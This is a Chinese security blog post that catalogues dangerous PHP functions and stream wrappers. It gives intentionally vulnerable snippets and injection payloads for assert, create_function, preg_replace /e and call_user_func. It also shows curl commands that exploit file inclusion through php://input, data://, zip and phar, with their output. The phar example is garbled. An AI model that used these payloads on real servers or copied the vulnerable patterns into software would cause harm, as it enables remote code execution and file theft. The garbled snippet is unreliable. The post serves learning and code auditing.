<!DOCTYPE html>





<html lang="zh-CN">
<head>
  <meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=2">
<meta name="theme-color" content="#222">
<meta name="generator" content="Hexo 3.9.0">
  <link rel="apple-touch-icon" sizes="180x180" href="/images/apple-touch-icon-next.png?v=7.4.0">
  <link rel="icon" type="image/png" sizes="32x32" href="/images/favicon-32x32.png?v=7.4.0">
  <link rel="icon" type="image/png" sizes="16x16" href="/images/favicon-16x16.png?v=7.4.0">
  <link rel="mask-icon" href="/images/avatar.svg?v=7.4.0" color="#222">
  <link rel="alternate" href="/atom.xml" title="Anemone's Blog" type="application/atom+xml">
  <meta name="google-site-verification" content="Re5JdegRYzNFco-rC9lYIsvSWIgh5JvyfhuEaZCeFCk">
  <meta name="baidu-site-verification" content="opTC8YN3Pn">

<link rel="stylesheet" href="/css/main.css?v=7.4.0">


<link rel="stylesheet" href="https://cdn.bootcss.com/font-awesome/4.7.0/css/font-awesome.min.css">


<script id="hexo-configurations">
  var NexT = window.NexT || {};
  var CONFIG = {
    root: '/',
    scheme: 'Pisces',
    version: '7.4.0',
    exturl: false,
    sidebar: {"position":"left","display":"post","offset":12,"onmobile":false},
    copycode: {"enable":false,"show_result":false,"style":null},
    back2top: {"enable":true,"sidebar":false,"scrollpercent":false},
    bookmark: {"enable":false,"color":"#222","save":"auto"},
    fancybox: false,
    mediumzoom: false,
    lazyload: false,
    pangu: false,
    algolia: {
      appID: 'GB90MXPJ1C',
      apiKey: '05d808da3baf50ac2f2fad2dc3a3cd8f',
      indexName: 'dev_blog',
      hits: {"per_page":20},
      labels: {"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}
    },
    localsearch: {"enable":false,"trigger":"auto","top_n_per_article":1,"unescape":true,"preload":false},
    path: 'search.xml',
    motion: {"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},
    translation: {
      copy_button: '复制',
      copy_success: '复制成功',
      copy_failure: '复制失败'
    },
    sidebarPadding: 40
  };
</script>

  <meta name="description" content="复习一下PHP中常见的危险函数：文件读取 file_get_contents()，该函数可以读取其他协议造成SSRF 123$src=$_GET[&apos;src&apos;];$homepage = file_get_contents($src);echo $homepage;  highlight_file()，高亮显示文件内容  show_source()，highlight_file()的别名 fopen(">
<meta name="keywords" content="PHP">
<meta property="og:type" content="article">
<meta property="og:title" content="PHP中的危险函数和伪协议">
<meta property="og:url" content="http://anemone.top/php-PHP中的危险函数和伪协议/index.html">
<meta property="og:site_name" content="Anemone&#39;s Blog">
<meta property="og:description" content="复习一下PHP中常见的危险函数：文件读取 file_get_contents()，该函数可以读取其他协议造成SSRF 123$src=$_GET[&apos;src&apos;];$homepage = file_get_contents($src);echo $homepage;  highlight_file()，高亮显示文件内容  show_source()，highlight_file()的别名 fopen(">
<meta property="og:locale" content="zh-CN">
<meta property="og:image" content="http://anemone.top/php-PHP中的危险函数和伪协议/1549526799636.png">
<meta property="og:updated_time" content="2019-09-22T10:14:18.686Z">
<meta name="twitter:card" content="summary">
<meta name="twitter:title" content="PHP中的危险函数和伪协议">
<meta name="twitter:description" content="复习一下PHP中常见的危险函数：文件读取 file_get_contents()，该函数可以读取其他协议造成SSRF 123$src=$_GET[&apos;src&apos;];$homepage = file_get_contents($src);echo $homepage;  highlight_file()，高亮显示文件内容  show_source()，highlight_file()的别名 fopen(">
<meta name="twitter:image" content="http://anemone.top/php-PHP中的危险函数和伪协议/1549526799636.png">
  <link rel="canonical" href="http://anemone.top/php-PHP中的危险函数和伪协议/">


<script id="page-configurations">
  // https://hexo.io/docs/variables.html
  CONFIG.page = {
    sidebar: "",
    isHome: false,
    isPost: true,
    isPage: false,
    isArchive: false
  };
</script>

  <title>PHP中的危险函数和伪协议 | Anemone's Blog</title>
  








  <noscript>
  <style>
  .use-motion .brand,
  .use-motion .menu-item,
  .sidebar-inner,
  .use-motion .post-block,
  .use-motion .pagination,
  .use-motion .comments,
  .use-motion .post-header,
  .use-motion .post-body,
  .use-motion .collection-header { opacity: initial; }

  .use-motion .logo,
  .use-motion .site-title,
  .use-motion .site-subtitle {
    opacity: initial;
    top: initial;
  }

  .use-motion .logo-line-before i { left: initial; }
  .use-motion .logo-line-after i { right: initial; }
  </style>
</noscript>

</head>

<body itemscope itemtype="http://schema.org/WebPage" lang="zh-CN">
  <div class="container use-motion">
    <div class="headband"></div>

    <header id="header" class="header" itemscope itemtype="http://schema.org/WPHeader">
      <div class="header-inner"><div class="site-brand-container">
  <div class="site-meta">

    <div>
      <a href="/" class="brand" rel="start">
        <span class="logo-line-before"><i></i></span>
        <span class="site-title">Anemone's Blog</span>
        <span class="logo-line-after"><i></i></span>
      </a>
    </div>
  </div>

  <div class="site-nav-toggle">
    <button aria-label="切换导航栏">
      <span class="btn-bar"></span>
      <span class="btn-bar"></span>
      <span class="btn-bar"></span>
    </button>
  </div>
</div>


<nav class="site-nav">
  
  <ul id="menu" class="menu">
      
      
      
        
        <li class="menu-item menu-item-home">
      
    

    <a href="/" rel="section"><i class="fa fa-fw fa-home"></i>首页</a>

  </li>
      
      
      
        
        <li class="menu-item menu-item-about">
      
    

    <a href="/about/" rel="section"><i class="fa fa-fw fa-user"></i>关于</a>

  </li>
      
      
      
        
        <li class="menu-item menu-item-tags">
      
    

    <a href="/tags/" rel="section"><i class="fa fa-fw fa-tags"></i>标签</a>

  </li>
      
      
      
        
        <li class="menu-item menu-item-categories">
      
    

    <a href="/categories/" rel="section"><i class="fa fa-fw fa-th"></i>分类</a>

  </li>
      
      
      
        
        <li class="menu-item menu-item-archives">
      
    

    <a href="/archives/" rel="section"><i class="fa fa-fw fa-archive"></i>归档</a>

  </li>
      <li class="menu-item menu-item-search">
        <a href="javascript:;" class="popup-trigger">
        
          <i class="fa fa-search fa-fw"></i>搜索</a>
      </li>
    
  </ul>

</nav>
  <div class="site-search">
    <div class="popup search-popup">
    <div class="search-header">
  <span class="search-icon">
    <i class="fa fa-search"></i>
  </span>
  <div class="search-input" id="search-input"></div>
  <span class="popup-btn-close">
    <i class="fa fa-times-circle"></i>
  </span>
</div>
<div class="algolia-results">
  <div id="algolia-stats"></div>
  <div id="algolia-hits"></div>
  <div id="algolia-pagination" class="algolia-pagination"></div>
</div>

  
</div>
<div class="search-pop-overlay"></div>

  </div>
</div>
    </header>

    
  <div class="back-to-top">
    <i class="fa fa-arrow-up"></i>
    <span>0%</span>
  </div>
  <div class="reading-progress-bar"></div>


    <main id="main" class="main">
      <div class="main-inner">
        <div class="content-wrap">
            

          <div id="content" class="content">
            

  <div id="posts" class="posts-expand">
      <article itemscope itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block post">
    <link itemprop="mainEntityOfPage" href="http://anemone.top/php-PHP中的危险函数和伪协议/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="name" content="Anemone">
      <meta itemprop="description" content="关注Web安全、移动安全、Fuzz测试和机器学习">
      <meta itemprop="image" content="/images/avatar.jpg">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="Anemone's Blog">
    </span>
      <header class="post-header">
        <h2 class="post-title" itemprop="name headline">PHP中的危险函数和伪协议

          
        </h2>

        <div class="post-meta">
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              <span class="post-meta-item-text">发表于</span>

              
                
              

              <time title="创建时间：2019-02-07 15:02:13" itemprop="dateCreated datePublished" datetime="2019-02-07T15:02:13+08:00">2019-02-07</time>
            </span>
          
            

            
              <span class="post-meta-item">
                <span class="post-meta-item-icon">
                  <i class="fa fa-calendar-check-o"></i>
                </span>
                <span class="post-meta-item-text">更新于</span>
                <time title="修改时间：2019-09-22 18:14:18" itemprop="dateModified" datetime="2019-09-22T18:14:18+08:00">2019-09-22</time>
              </span>
            
          
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="fa fa-folder-o"></i>
              </span>
              <span class="post-meta-item-text">分类于</span>
              
                <span itemprop="about" itemscope itemtype="http://schema.org/Thing"><a href="/categories/PHP/" itemprop="url" rel="index"><span itemprop="name">PHP</span></a></span>

                
                
              
            </span>
          

          
            <span id="/php-PHP中的危险函数和伪协议/" class="post-meta-item leancloud_visitors" data-flag-title="PHP中的危险函数和伪协议" title="阅读次数">
              <span class="post-meta-item-icon">
                <i class="fa fa-eye"></i>
              </span>
              <span class="post-meta-item-text">阅读次数：</span>
              <span class="leancloud-visitors-count"></span>
            </span>
          

        </div>
      </header>

    
    
    
    <div class="post-body" itemprop="articleBody">

      
        <p>复习一下PHP中常见的危险函数：</p><h1 id="文件读取"><a href="#文件读取" class="headerlink" title="文件读取"></a>文件读取</h1><ul>
<li><p>file_get_contents()，该函数可以读取其他协议造成SSRF</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">$src=$_GET[<span class="string">'src'</span>];</span><br><span class="line">$homepage = file_get_contents($src);</span><br><span class="line"><span class="keyword">echo</span> $homepage;</span><br></pre></td></tr></table></figure>
</li>
<li><p>highlight_file()，高亮显示文件内容</p>
</li>
<li>show_source()，highlight_file()的别名</li>
<li>fopen()、fread()，fgets()、fgetss()、fpassthru()等<ul>
<li>fread(fopen($filename,”r”), $size); //读取<code>$size</code>长度的文件</li>
<li>fgets(fopen($filename, “r”)); //读取一行</li>
<li>fgetss(fopen($filename, “r”)); //读取一行并过滤HTML标记</li>
<li>fpassthru(fopen($filename, “r”)); //读取到文件结束</li>
</ul>
</li>
<li><p>readfile()，读取文件并返回至页面</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">$file = $_GET[<span class="string">'file'</span>];</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (file_exists($file)) &#123;</span><br><span class="line">    header(<span class="string">'Content-Description: File Transfer'</span>);</span><br><span class="line">    header(<span class="string">'Content-Type: application/octet-stream'</span>);</span><br><span class="line">    header(<span class="string">'Content-Disposition: attachment;   filename="'</span>.basename($file).<span class="string">'"'</span>);</span><br><span class="line">    header(<span class="string">'Expires: 0'</span>);</span><br><span class="line">    header(<span class="string">'Cache-Control: must-revalidate'</span>);</span><br><span class="line">    header(<span class="string">'Pragma: public'</span>);</span><br><span class="line">    header(<span class="string">'Content-Length: '</span> . filesize($file));</span><br><span class="line">    readfile($file);</span><br><span class="line">    <span class="keyword">exit</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>
</li>
<li><p>file()，把文件读进数组中</p>
</li>
<li>php_strip_whitespace()，读取一个php文件并返回一个去掉注释和换行的文本，有意思的是，该函数可以去掉任意语言的注释，只要这个语言的注释风格与php相同并且在文件头加入<code>&lt;?php</code>就行可：<br><img src="/php-PHP中的危险函数和伪协议/1549526799636.png" alt="1549526799636"></li>
<li>parse_ini_file()，只能读取ini文件</li>
</ul><a id="more"></a>

<h1 id="命令执行"><a href="#命令执行" class="headerlink" title="命令执行"></a>命令执行</h1><ul>
<li>system()</li>
<li>shell_exec()，和<code>system()</code>差不多</li>
<li>passthru()，返回二进制的输出</li>
<li>exec(‘ls’, $array)，返回结果保存在<code>array</code>中</li>
<li>pcntl_exec()，不返回结果</li>
<li><p>popen()，返回一个文件指针</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">$handle = popen(<span class="string">"/bin/ls"</span>, <span class="string">"r"</span>);</span><br><span class="line">var_dump(fpassthru($handle));</span><br><span class="line">pclose($handle);</span><br></pre></td></tr></table></figure>
</li>
<li><p>proc_open()，增强型<code>popen()</code>，允许有三个通道（输入，输出，错误）</p>
</li>
<li>&#96;(反单引号)</li>
<li>escapeshellcmd() // 该函数用于过滤字符保证不执行其他恶意指令</li>
</ul>
<h1 id="代码执行"><a href="#代码执行" class="headerlink" title="代码执行"></a>代码执行</h1><ul>
<li>eval(“phpinfo();”)</li>
<li><p>assert()，原用法是assert失败后，调用回调函数，它会将参数作为代码执行。</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$num=$_GET[<span class="string">'num'</span>];</span><br><span class="line">assert(<span class="string">"is_int($num)"</span>);</span><br></pre></td></tr></table></figure>
<p>payload为<code>num=1)%20and%20phpinfo();//</code>，注意若前面的条件不满足则用or，如<code>a)%20or%20phpinfo();//</code></p>
</li>
<li><p>preg_replace + ‘/e’,/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码，如</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">echo</span> preg_replace(<span class="string">"/test/e"</span>,$_GET[<span class="string">"cmd"</span>],<span class="string">"just test"</span>);</span><br></pre></td></tr></table></figure>
<p>payload为<code>cmd=phpinfo()</code>，注意该方法只在php 5.5.0以下版本有效。</p>
</li>
<li><p>create_function($args, ​$code)，创建一个匿名函数，由于内部是eval实现的，所以存在安全性问题，如：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">$sort_by = $_GET[<span class="string">'sort_by'</span>];</span><br><span class="line">$databases=<span class="keyword">array</span>(<span class="string">'1234'</span>,<span class="string">'4321'</span>);</span><br><span class="line">$sort_function = <span class="string">'return strcmp($a["'</span>.$sort_by.<span class="string">'"], $b["'</span>.$sort_by.<span class="string">'"]);'</span>;</span><br><span class="line">usort($databases, create_function(<span class="string">'$a, $b'</span>, $sort_function));</span><br><span class="line">print_r($databases);</span><br></pre></td></tr></table></figure>
<p>构造payload的关键在于将create_function还原为eval实现的普通函数，接着按上下文闭合先前的函数逻辑（这里为strcmp）再加上其他语句<code>;}phpinfo();/*</code>，总之确保eval中的字符串拼接成一个php符合语法的语句：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">eval</span>(</span><br><span class="line">    <span class="string">'function lambda($a, $b)&#123;</span></span><br><span class="line"><span class="string">        return strcmp($a["'</span>.$sort_by.<span class="string">'"], $b["'</span>.$sort_by.<span class="string">'"]); //replace with create_function</span></span><br><span class="line"><span class="string">    &#125;'</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure>
<p>由此payload为<code>sort_by=&quot;]);}phpinfo();/*</code>，此时eval中的字符串拼接成：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">lambda</span><span class="params">($a, $b)</span></span>&#123; </span><br><span class="line">	<span class="keyword">return</span> strcmp($a[<span class="string">""</span>]);</span><br><span class="line">&#125;</span><br><span class="line">phpinfo();<span class="comment">/*"], $b[""]);&#125;phpinfo();/*"]); &#125;</span></span><br></pre></td></tr></table></figure>
</li>
<li><p>call_user_func(callable $func, $arg)，调用func($arg)，若func可指定为assert则存在代码执行：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">$a=$_GET[<span class="string">'a'</span>];</span><br><span class="line">$b=$_GET[<span class="string">'b'</span>];</span><br><span class="line">call_user_func($a, $b);</span><br></pre></td></tr></table></figure>
<p>payload为<code>a=assert&amp;b=phpinfo()</code></p>
</li>
<li><p>call_user_func_array(callable $func , array $args_arr)，调用func，参数为数组<code>$args_arr</code>:</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">$a=$_GET[<span class="string">'a'</span>];</span><br><span class="line">$b=$_GET[<span class="string">'b'</span>];</span><br><span class="line">call_user_func_array($a, $b);</span><br></pre></td></tr></table></figure>
<p>payload为<code>a=assert&amp;b[]=phpinfo()</code></p>
</li>
<li><p>array_map(callable $func, array $array1 [, array $… ])，将array中的元素应用到$callback函数上，有点像Python的map</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">$a=$_GET[<span class="string">'a'</span>];</span><br><span class="line">$b=$_GET[<span class="string">'b'</span>];</span><br><span class="line">array_map($a, $b);</span><br></pre></td></tr></table></figure>
<p>payload为<code>a=assert&amp;b[]=phpinfo()</code></p>
</li>
<li>ob_start()，用法如下（只能显示一行）：<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$cmd = <span class="string">'system'</span>;ob_start($cmd);<span class="keyword">echo</span> <span class="string">"$_GET[a]"</span>;ob_end_flush();</span><br></pre></td></tr></table></figure>
</li>
</ul>
<h1 id="文件上传"><a href="#文件上传" class="headerlink" title="文件上传"></a>文件上传</h1><ul>
<li>move_uploaded_file()</li>
<li>getimagesize() //验证文件头只要为GIF89a，就会返回真</li>
</ul>
<h1 id="文件包含"><a href="#文件包含" class="headerlink" title="文件包含"></a>文件包含</h1><ul>
<li>require()，程序一运行就包含该文件</li>
<li>include()，执行到include时包含该文件</li>
<li>require_once()，include_once()：若已包含过则不再包含</li>
<li>allow_url_include = on，打开远程文件包含</li>
</ul>
<h1 id="变量覆盖"><a href="#变量覆盖" class="headerlink" title="变量覆盖"></a>变量覆盖</h1><ul>
<li>extract()</li>
<li>import_request_variables()</li>
<li>parse_str()</li>
<li>mb_parse_str()<br>全局变量覆盖：register_globals为ON，$GLOBALS</li>
</ul>
<h1 id="伪协议"><a href="#伪协议" class="headerlink" title="伪协议"></a>伪协议</h1><ul>
<li><p>php://filter，结合base64读取文件用，如：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">$ curl http://localhost/include.php?file=php://filter/<span class="built_in">read</span>=convert.base64-encode/resource=include.php|base64 -d</span><br><span class="line">  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current</span><br><span class="line">                                 Dload  Upload   Total   Spent    Left  Speed</span><br><span class="line">100    45  100    45    0     0   5000      0 --:--:-- --:--:-- --:--:--  5000</span><br><span class="line">&lt;?php include(<span class="variable">$_GET</span>[<span class="string">'file'</span>]);?&gt;</span><br></pre></td></tr></table></figure>
</li>
<li><p>php://input，将post作为输入，在<strong>远程文件包含</strong>和file_get_contents()时可以利用造成RCE，如：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">$ curl -X POST http://localhost/include.php?file=php://input --data <span class="string">"&lt;?php system('ls -al');?&gt;"</span></span><br><span class="line">total 126</span><br><span class="line">drwxr-xr-x 1 Anemone 197121     0 Feb  8 11:22 .</span><br><span class="line">drwxr-xr-x 1 Anemone 197121     0 May  6  2018 ..</span><br><span class="line">-rw-r--r-- 1 Anemone 197121 27877 Sep 21 20:56 1075875011_1.jpg</span><br><span class="line">-rw-r--r-- 1 Anemone 197121 27877 Sep 21 20:58 852730535_1.jpg</span><br><span class="line">-rw-r--r-- 1 Anemone 197121  2117 Sep 21 21:53 aizhixi.php</span><br></pre></td></tr></table></figure>
</li>
<li><p>data://，将data后的get请求作为输入，在<strong>远程文件包含</strong>时可造成RCE，如：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">$ <span class="built_in">echo</span> <span class="string">"&lt;?php system('ls -al');?&gt;"</span>|base64</span><br><span class="line">PD9waHAgc3lzdGVtKCdscyAtYWwnKTs/Pgo=</span><br><span class="line"></span><br><span class="line">$ curl <span class="string">"http://localhost/include.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscyAtYWwnKTs/Pgo="</span></span><br><span class="line">total 126</span><br><span class="line">drwxr-xr-x 1 Anemone 197121     0 Feb  8 11:22 .</span><br><span class="line">drwxr-xr-x 1 Anemone 197121     0 May  6  2018 ..</span><br><span class="line">-rw-r--r-- 1 Anemone 197121 27877 Sep 21 20:56 1075875011_1.jpg</span><br><span class="line">-rw-r--r-- 1 Anemone 197121 27877 Sep 21 20:58 852730535_1.jpg</span><br><span class="line">-rw-r--r-- 1 Anemone 197121  2117 Sep 21 21:53 aizhixi.php</span><br></pre></td></tr></table></figure>
</li>
<li><p>zip://、compress.bzip2://、compress.zlib://，读取一个.zip/.bz2/.gz文件中的文件，可以将一句话压缩造成RCE：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">$ <span class="built_in">echo</span> <span class="string">"&lt;?php echo system('ls -al');?&gt;"</span> &gt; ls.php</span><br><span class="line">$ zip -r shell.zip ls.php</span><br><span class="line">  adding: ls.php (stored 0%)</span><br><span class="line"><span class="comment"># 上传后</span></span><br><span class="line">$ curl <span class="string">"http://localhost/include.php?file=phar://./shell.zip/ls.php"</span></span><br><span class="line">total 128</span><br><span class="line">drwxr-xr-x 1 Anemone 197121     0 Feb  8 16:11 .</span><br><span class="line">drwxr-xr-x 1 Anemone 197121     0 May  6  2018 ..</span><br><span class="line">-rw-r--r-- 1 Anemone 197121 27877 Sep 21 20:56 1075875011_1.jpg</span><br><span class="line">-rw-r--r-- 1 Anemone 197121 27877 Sep 21 20:58 852730535_1.jpg</span><br></pre></td></tr></table></figure>
</li>
<li><p>phar://，读取一个phar/zip文件，可以利用成RCE:</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">$ cat phar.php</span><br><span class="line">&lt;?php</span><br><span class="line">                                                                                                   ?&gt;<span class="string">' ;</span></span><br><span class="line"><span class="string">$phar-&gt;setStub('</span>&lt;?php __HALT_COMPILER();?&gt;<span class="string">');</span></span><br><span class="line"><span class="string">?&gt;</span></span><br><span class="line"><span class="string">$ php phar.php</span></span><br><span class="line"><span class="string"># 上传phar后</span></span><br><span class="line"><span class="string">$ curl "http://localhost/include.php?file=phar://./shell.phar/shell.php" --data "cmd=system('</span>ls -al<span class="string">');"</span></span><br><span class="line"><span class="string">12321total 128</span></span><br><span class="line"><span class="string">drwxr-xr-x 1 Anemone 197121     0 Feb  8 16:11 .</span></span><br><span class="line"><span class="string">drwxr-xr-x 1 Anemone 197121     0 May  6  2018 ..</span></span><br><span class="line"><span class="string">-rw-r--r-- 1 Anemone 197121 27877 Sep 21 20:56 1075875011_1.jpg</span></span><br><span class="line"><span class="string">-rw-r--r-- 1 Anemone 197121 27877 Sep 21 20:58 852730535_1.jpg</span></span><br></pre></td></tr></table></figure>
</li>
</ul>
<h1 id="参考链接"><a href="#参考链接" class="headerlink" title="参考链接"></a>参考链接</h1><ul>
<li>php代码审计小总结，<a href="https://chybeta.github.io/2017/07/14/php%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E5%B0%8F%E6%80%BB%E7%BB%93/" target="_blank" rel="noopener">https://chybeta.github.io/2017/07/14/php%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E5%B0%8F%E6%80%BB%E7%BB%93/</a></li>
<li>命令执行与代码执行的小结，<a href="https://www.anquanke.com/post/id/162128" target="_blank" rel="noopener">https://www.anquanke.com/post/id/162128</a></li>
</ul>

    </div>

    
    
    
        
      
        

<div>
<ul class="post-copyright">
  <li class="post-copyright-author">
    <strong>本文作者： </strong>Anemone</li>
  <li class="post-copyright-link">
    <strong>本文链接：</strong>
    <a href="http://anemone.top/php-PHP中的危险函数和伪协议/" title="PHP中的危险函数和伪协议">http://anemone.top/php-PHP中的危险函数和伪协议/</a>
  </li>
  <li class="post-copyright-license">
    <strong>版权声明： </strong>本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/deed.zh" rel="noopener" target="_blank"><i class="fa fa-fw fa-creative-commons"></i>BY-NC-SA</a> 许可协议。转载请注明出处！</li>
</ul>
</div>

      

      <footer class="post-footer">
          
            
          
          <div class="post-tags">
            
              <a href="/tags/PHP/" rel="tag"># PHP</a>
            
          </div>
        

        

          <div class="post-nav">
            <div class="post-nav-next post-nav-item">
              
                <a href="/php-文件包含利用/" rel="next" title="文件包含漏洞利用">
                  <i class="fa fa-chevron-left"></i> 文件包含漏洞利用
                </a>
              
            </div>

            <span class="post-nav-divider"></span>

            <div class="post-nav-prev post-nav-item">
              
                <a href="/信息收集-信息收集思路整理/" rel="prev" title="信息收集思路整理">
                  信息收集思路整理 <i class="fa fa-chevron-right"></i>
                </a>
              
            </div>
          </div>
        
      </footer>
    
  </div>
  
  
  
  </article>

  </div>


          </div>
          
    
    <div class="comments" id="gitalk-container"></div>
  

        </div>
          
  
  <div class="sidebar-toggle">
    <div class="sidebar-toggle-line-wrap">
      <span class="sidebar-toggle-line sidebar-toggle-line-first"></span>
      <span class="sidebar-toggle-line sidebar-toggle-line-middle"></span>
      <span class="sidebar-toggle-line sidebar-toggle-line-last"></span>
    </div>
  </div>

  <aside class="sidebar">
    <div class="sidebar-inner">
        
        
        
        
      

      <ul class="sidebar-nav motion-element">
        <li class="sidebar-nav-toc">
          文章目录
        </li>
        <li class="sidebar-nav-overview">
          站点概览
        </li>
      </ul>

      <!--noindex-->
      <div class="post-toc-wrap sidebar-panel">
          <div class="post-toc motion-element"><ol class="nav"><li class="nav-item nav-level-1"><a class="nav-link" href="#文件读取"><span class="nav-number">1.</span> <span class="nav-text">文件读取</span></a></li><li class="nav-item nav-level-1"><a class="nav-link" href="#命令执行"><span class="nav-number">2.</span> <span class="nav-text">命令执行</span></a></li><li class="nav-item nav-level-1"><a class="nav-link" href="#代码执行"><span class="nav-number">3.</span> <span class="nav-text">代码执行</span></a></li><li class="nav-item nav-level-1"><a class="nav-link" href="#文件上传"><span class="nav-number">4.</span> <span class="nav-text">文件上传</span></a></li><li class="nav-item nav-level-1"><a class="nav-link" href="#文件包含"><span class="nav-number">5.</span> <span class="nav-text">文件包含</span></a></li><li class="nav-item nav-level-1"><a class="nav-link" href="#变量覆盖"><span class="nav-number">6.</span> <span class="nav-text">变量覆盖</span></a></li><li class="nav-item nav-level-1"><a class="nav-link" href="#伪协议"><span class="nav-number">7.</span> <span class="nav-text">伪协议</span></a></li><li class="nav-item nav-level-1"><a class="nav-link" href="#参考链接"><span class="nav-number">8.</span> <span class="nav-text">参考链接</span></a></li></ol></div>
        
      </div>
      <!--/noindex-->

      <div class="site-overview-wrap sidebar-panel">
        <div class="site-author motion-element" itemprop="author" itemscope itemtype="http://schema.org/Person">
    <img class="site-author-image" itemprop="image"
      src="/images/avatar.jpg"
      alt="Anemone">
  <p class="site-author-name" itemprop="name">Anemone</p>
  <div class="site-description" itemprop="description">关注Web安全、移动安全、Fuzz测试和机器学习</div>
</div>
<div class="site-state-wrap motion-element">
  <nav class="site-state">
      <div class="site-state-item site-state-posts">
        
          <a href="/archives/">
        
          <span class="site-state-item-count">70</span>
          <span class="site-state-item-name">日志</span>
        </a>
      </div>
    
      
      
      <div class="site-state-item site-state-categories">
        
          
            <a href="/categories/">
          
        
        <span class="site-state-item-count">31</span>
        <span class="site-state-item-name">分类</span>
        </a>
      </div>
    
      
      
      <div class="site-state-item site-state-tags">
        
          
            <a href="/tags/">
          
        
        <span class="site-state-item-count">86</span>
        <span class="site-state-item-name">标签</span>
        </a>
      </div>
    
  </nav>
</div>
  <div class="feed-link motion-element">
    <a href="/atom.xml" rel="alternate">
      <i class="fa fa-rss"></i>RSS
    </a>
  </div>
  <div class="links-of-author motion-element">
      <span class="links-of-author-item">
      
      
        
      
      
        
      
        <a href="https://github.com/anemone95" title="GitHub &rarr; https://github.com/anemone95" rel="noopener" target="_blank"><i class="fa fa-fw fa-github"></i>GitHub</a>
      </span>
    
      <span class="links-of-author-item">
      
      
        
      
      
        
      
